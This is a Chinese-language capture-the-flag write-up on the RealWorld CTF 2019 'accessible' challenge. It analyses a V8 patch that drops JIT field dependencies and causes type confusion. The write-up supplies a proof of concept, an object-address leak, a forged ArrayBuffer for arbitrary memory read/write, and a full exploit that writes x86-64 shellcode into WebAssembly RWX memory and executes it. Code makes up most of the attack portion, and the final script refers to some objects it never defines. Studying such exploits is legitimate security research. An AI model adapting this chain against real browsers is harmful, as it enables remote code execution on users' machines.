v8 exploit - RealWorld CTF2019 accessible
字数 903 2025-08-26 22:11:22

V8 Exploit - RealWorld CTF2019 Accessible 漏洞分析与利用

漏洞概述

本漏洞涉及V8引擎中的dependency机制,由于patch文件删除了某些添加依赖(dependency)的代码,导致在生成的JIT代码中,即使某些元素类型发生了变化也不会触发deoptimize,从而导致type confusion。

调试环境搭建

git reset --hard eefa087eca9c54bdb923b8f5e5e14265f6970b22
gclient sync
git apply ../challenge.patch
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug

漏洞分析

Patch文件分析

关键修改位于src/compiler/access-info.cc文件中的ComputeDataFieldAccessInfo函数:

  1. 删除了两处unrecorded_dependencies.push_back操作
  2. constness始终赋值为PropertyConstness::kConst
-    unrecorded_dependencies.push_back(
-        dependencies()->FieldRepresentationDependencyOffTheRecord(map_ref,
-                                                                  descriptor));
+    // 删除了HeapObject类型的dependency添加

-    unrecorded_dependencies.push_back(
-        dependencies()->FieldTypeDependencyOffTheRecord(map_ref, descriptor));
+    // 删除了FieldTypeDependency的添加

-    constness = dependencies()->DependOnFieldConstness(map_ref, descriptor);
+    constness = PropertyConstness::kConst;  // 强制设置为kConst

Dependency机制

V8中有两种方式保证runtime优化代码中对类型假设的安全性:

  1. 通过添加CheckMaps节点进行类型检查,类型不符时触发bail out
  2. 通过dependency机制,将可能影响map假设的元素添加到dependencies中,检查这些dependency的改变来触发deoptimize

漏洞导致某些元素的改变不会被检测到,从而不会触发deoptimize,最终造成type confusion。

漏洞验证POC

var obj = {};
obj.c = {a: 1.1};

function leaker(o){
    return o.c.a;
}

// 触发JIT编译
for (var i = 0; i < 0x4000; i++) {
    leaker(obj);
}

// 改变对象类型
var buf_to_leak = new ArrayBuffer();
obj.c = {b: buf_to_leak}

// 仍然返回double值(实际上是buf_to_leak的地址)
console.log(leaker(obj)); // 输出: 2.0289592652999e-310

注意:修改obj.c时不能使用同属性名(如{a: buf_to_leak}),因为仍然存在一些依赖会影响deoptimize。

漏洞利用

1. 对象地址泄露

var obj1 = {c: {x: 1.1}};

function leaker(o){
    return o.c.x;
}

for(var i = 0; i < 0x5000; i++){
    leaker(obj1);
}

function leak_obj(o){
    obj1.c = {y: o};
    res = mem.d2u(leaker(obj1))
    return res
}

2. 伪造ArrayBuffer

JSArray内存布局

Elements--->+-------------+
            |  MAP        +<------+
            +-------------+       |
            |  Length     |       |
            +-------------+       |
            |  element#1  |       |
            +-------------+       |
            |  element#2  |       |
            +-------------+       |
            |     ...     |       |
            +-------------+       |
            |  element#N  |       |
 JSArray--->--------------+       |
            |  MAP        |       |
            +-------------+       |
            |  Properties |       |
            +-------------+       |
            |  Elements   +-------+
            +-------------+
            |  Length     |
            +-------------+
            |     ...     |
            +-------------+

使用splice使布局稳定:

var arr = [1.1, 2.2, 3.3].splice(0);

ArrayBuffer伪造

var fake_ab = [ 
    // map|properties
    mem.u2d(0x0), mem.u2d(0x0),
    // elements|length
    mem.u2d(0x0), mem.u2d(0x1000),
    // backingstore|0x2
    mem.u2d(0x0), mem.u2d(0x2),
    // padding
    mem.u2d(0x0), mem.u2d(0x0),
    // fake map
    mem.u2d(0x0), mem.u2d(0x1900042317080808),
    mem.u2d(0x00000000084003ff), mem.u2d(0x0),
    mem.u2d(0x0), mem.u2d(0x0),
    mem.u2d(0x0), mem.u2d(0x0),
].splice(0);

3. WASM获取RWX内存区域

const wasm_code = new Uint8Array([...]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;

// WASM实例+0x80处存放RWX区域的地址
wasm_inst_addr = leak_obj(wasm_instance) - 1;
rwx_area_loc = wasm_inst_addr + 0x80;

完整利用代码

class Memory{
    constructor(){
        this.buf = new ArrayBuffer(8);
        this.f64 = new Float64Array(this.buf);
        this.u32 = new Uint32Array(this.buf);
        this.bytes = new Uint8Array(this.buf);
    }
    d2u(val){
        this.f64[0] = val;
        let tmp = Array.from(this.u32);
        return tmp[1] * 0x100000000 + tmp[0];
    }   
    u2d(val){
        let tmp = []; 
        tmp[0] = parseInt(val % 0x100000000);
        tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
        this.u32.set(tmp);
        return this.f64[0];
    }   
}

var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

// 设置fake ArrayBuffer
var fake_ab = [ 
    mem.u2d(0x0), mem.u2d(0x0),
    mem.u2d(0x0), mem.u2d(0x1000),
    mem.u2d(0x0), mem.u2d(0x2),
    mem.u2d(0x0), mem.u2d(0x0),
    mem.u2d(0x0), mem.u2d(0x1900042317080808),
    mem.u2d(0x00000000084003ff), mem.u2d(0x0),
    mem.u2d(0x0), mem.u2d(0x0),
    mem.u2d(0x0), mem.u2d(0x0),
];

// 泄露fake_ab地址
fake_ab_addr = leak_obj(fake_ab) - 0x80;
fake_map_addr = fake_ab_addr + 0x40;
fake_ab[0] = mem.u2d(fake_map_addr);

// 获取RWX区域地址
wasm_inst_addr = leak_obj(wasm_instance) - 1;
rwx_area_loc = wasm_inst_addr + 0x80;
fake_ab[4] = mem.u2d(rwx_area_loc);

// 获取伪造的ArrayBuffer
obj2.d = {z: mem.u2d(fake_ab_addr)};
real_ab = faker(obj2);
view = new DataView(real_ab);
rwx_area_addr = mem.d2u(view.getFloat64(0, true));

// 写入shellcode
fake_ab[4] = mem.u2d(rwx_area_addr);
for (i = 0; i < shellcode.length; i++){
    view.setUint32(i * 4, shellcode[i], true);
}

// 执行shellcode
wasm_func();

关键点总结

  1. 漏洞源于dependency机制被破坏,导致类型变化不被检测
  2. 利用type confusion泄露对象地址
  3. 通过伪造ArrayBuffer实现任意内存读写
  4. 使用WASM获取RWX内存区域执行shellcode
  5. 注意JSArray和ArrayBuffer的内存布局差异
  6. 使用splice方法稳定内存布局
V8 Exploit - RealWorld CTF2019 Accessible 漏洞分析与利用 漏洞概述 本漏洞涉及V8引擎中的dependency机制,由于patch文件删除了某些添加依赖(dependency)的代码,导致在生成的JIT代码中,即使某些元素类型发生了变化也不会触发deoptimize,从而导致type confusion。 调试环境搭建 漏洞分析 Patch文件分析 关键修改位于 src/compiler/access-info.cc 文件中的 ComputeDataFieldAccessInfo 函数: 删除了两处 unrecorded_dependencies.push_back 操作 将 constness 始终赋值为 PropertyConstness::kConst Dependency机制 V8中有两种方式保证runtime优化代码中对类型假设的安全性: 通过添加 CheckMaps 节点进行类型检查,类型不符时触发bail out 通过dependency机制,将可能影响map假设的元素添加到dependencies中,检查这些dependency的改变来触发deoptimize 漏洞导致某些元素的改变不会被检测到,从而不会触发deoptimize,最终造成type confusion。 漏洞验证POC 注意 :修改obj.c时不能使用同属性名(如{a: buf_ to_ leak}),因为仍然存在一些依赖会影响deoptimize。 漏洞利用 1. 对象地址泄露 2. 伪造ArrayBuffer JSArray内存布局 使用 splice 使布局稳定: ArrayBuffer伪造 3. WASM获取RWX内存区域 完整利用代码 关键点总结 漏洞源于dependency机制被破坏,导致类型变化不被检测 利用type confusion泄露对象地址 通过伪造ArrayBuffer实现任意内存读写 使用WASM获取RWX内存区域执行shellcode 注意JSArray和ArrayBuffer的内存布局差异 使用splice方法稳定内存布局